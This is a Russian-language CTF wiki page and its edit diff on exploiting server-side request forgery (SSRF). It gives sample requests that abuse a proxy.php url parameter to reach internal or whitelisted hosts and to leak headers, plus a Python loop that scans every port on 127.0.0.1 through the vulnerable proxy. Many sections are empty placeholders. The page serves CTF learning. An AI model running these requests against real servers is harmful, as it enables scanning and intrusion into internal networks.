Ssrf — различия между версиями
Drakylar (обсуждение | вклад) м |
Drakylar (обсуждение | вклад) м (→Префикс http(s)) |
||
Строка 48: | Строка 48: | ||
====Префикс http(s)==== | ====Префикс http(s)==== | ||
− | ( | + | Разделим на возможности |
+ | |||
+ | '''1. Возможность получить сервер, доступ к которому есть только в локальной сети/для whitelist ip адресов''' | ||
+ | |||
+ | GET /proxy.php?url=(http://)whitelisted.com | ||
+ | Host: cooolserver.com | ||
+ | |||
+ | '''2. '''Возможность направить прокси на наш сниффер и получить скрытые заголовки (в них иногда может спрятаться флаг или информация о сервере). | ||
+ | |||
+ | GET /proxy.php?url=192.168.1.1 HTTP/1.1 | ||
+ | Host: cooolserver.com | ||
+ | |||
+ | '''3. '''Сканирование доступных портов | ||
+ | |||
+ | Сделать это удобнее всего с помощью burpsuite intruder: | ||
+ | |||
+ | [[Файл:PortScanSSRF1.png]] | ||
+ | [[Файл:PortScanSSRF2.png]] | ||
+ | [[Файл:PortScanSSRF3.png]] | ||
+ | |||
+ | |||
+ | Или реализовать скрипт/вручную, отсылая следующие строки по socket'ам: | ||
+ | |||
+ | '''HTTP:''' | ||
+ | |||
+ | GET /proxy.php?url=127.0.0.1:(1..65535) HTTP/1.1 | ||
+ | Host: cooolserver.com | ||
+ | |||
+ | '''Python:''' | ||
+ | |||
+ | <syntaxhighlight lang="python" line="1" style="overflow-x:scroll" > | ||
+ | import requests | ||
+ | for x in range(1,65536): | ||
+ | r = requests.get( 'http://cooolserver.com/proxy.php?url=127.0.0.1:'+str(x) ) | ||
+ | if r.text != '':print(x) | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | '''Perl''' | ||
+ | |||
+ | |||
+ | '''C/C++''' | ||
+ | |||
+ | |||
+ | '''Ruby''' | ||
====Префикс file==== | ====Префикс file==== |
Версия 15:57, 2 марта 2017
SSRF(Server-Side Request Forgery) - это возможность передавать url, по которому впоследствии перейдет уязвимый сервер.
Статья разделена на поиск уязвимого параметра для передачи URL и уже непосредственно эксплуатацию.
Содержание
Поиск
Данная тема может появляться в разных тематиках и обозначаться разными ключевыми словами.
Прокси
Самое типичное - возможность использования скрипта как веб-прокси.
Если вы анализируете непосредственно HTTP запросы, то может быть следующее:
POST /proxy.php HTTP/1.1 Host: coolserver.com url=http://ipwnedyourscript.org
Скачивание файлов
Всем известный пример - скачивание аватарки по http без проверки типа файла.
Но так же это происходит и при скачивании файлов любых форматов:
Иногда это может перейти в другие уязвимости, например File Upload + LFI = RCE (или сразу shell upload). О них вы можете почитать в соответствующих статьях.
Данный случай рассматривается ТОЛЬКО в случае наличия фильтрации, не позволяющий запуск произвольного кода.
Эксплуатация
(что требуется для эксплуатации - что не должно фильтроваться)
Помощь при эксплуатации
Есть два случая - с автоматически приписывающемся префиксом и соответственно с изначальным его отсутствием.
Если у вас приписывается автоматически и вы знаете какой, то переходите в соответствующую вкладку префикса далее. Иначе пройдитесь по всем вкладкам и посмотрите, что может подойти именно к вашему скоупу.
Префикс http(s)
Разделим на возможности
1. Возможность получить сервер, доступ к которому есть только в локальной сети/для whitelist ip адресов
GET /proxy.php?url=(http://)whitelisted.com Host: cooolserver.com
2. Возможность направить прокси на наш сниффер и получить скрытые заголовки (в них иногда может спрятаться флаг или информация о сервере).
GET /proxy.php?url=192.168.1.1 HTTP/1.1 Host: cooolserver.com
3. Сканирование доступных портов
Сделать это удобнее всего с помощью burpsuite intruder:
Или реализовать скрипт/вручную, отсылая следующие строки по socket'ам:
HTTP:
GET /proxy.php?url=127.0.0.1:(1..65535) HTTP/1.1 Host: cooolserver.com
Python:
import requests
for x in range(1,65536):
r = requests.get( 'http://cooolserver.com/proxy.php?url=127.0.0.1:'+str(x) )
if r.text != '':print(x)
Perl
C/C++
Ruby
Префикс file
(обьяснение с примером)
Префикс tftp
(обьяснение с примером)
Префикс gopher
(обьяснение с примером)
Префикс dict
(обьяснение с примером)
Префикс rtsp
(обьяснение с примером)
(добавь еще префиксов)
Вектора атак
Чтение локальных файлов
(перечисляешь способы)
Скачивание файлов
(перечисляешь способы - не знаю точно возможен ли данный вектор)
Подключение к сервисам за фаерволом
(перечисляешь способы)
Сканирование портов
(перечисляешь способы + скрипты реализации)
Особенности ПО
Curl
(что поддерживает)
Requests
(что поддерживает)
(добавь свое - например робобраузеры)
Примеры из тасков
(примеры использования каких то векторов)
Райтапы
(ссылки)
Полезные ссылки
(ссылки)